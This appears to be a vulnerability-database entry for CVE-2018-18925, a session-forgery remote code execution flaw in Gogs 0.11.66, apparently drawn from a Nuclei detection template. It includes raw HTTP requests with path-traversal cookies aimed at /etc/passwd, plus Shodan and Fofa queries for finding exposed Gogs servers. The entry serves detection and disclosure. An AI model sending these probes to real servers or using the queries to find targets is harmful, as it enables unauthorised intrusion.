| Title | Gogs (Go Git Service) 0.11.66 - Remote Code Execution |
|---|---|
| Author | princechaddha |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system. |
| Remediation | This issue will be fixed by updating to the latest version of Gogs. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93737 |
| CVE ID | CVE-2018-18925 |
| CWE ID | CWE-384 |
| Shodan Query | cpe:"cpe:2.3:a:gogs:gogs"http.title:"sign in - gogs" |
| Fofa Query | title="sign in - gogs" |
| Tags | cve cve2018 gogs lfi rce vulhub vuln |
Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a “..” session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10.15, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd;
Accept-Encoding: gzip
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0
Connection: close
Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy;
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-18925.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-18925.pcap
N/AN/A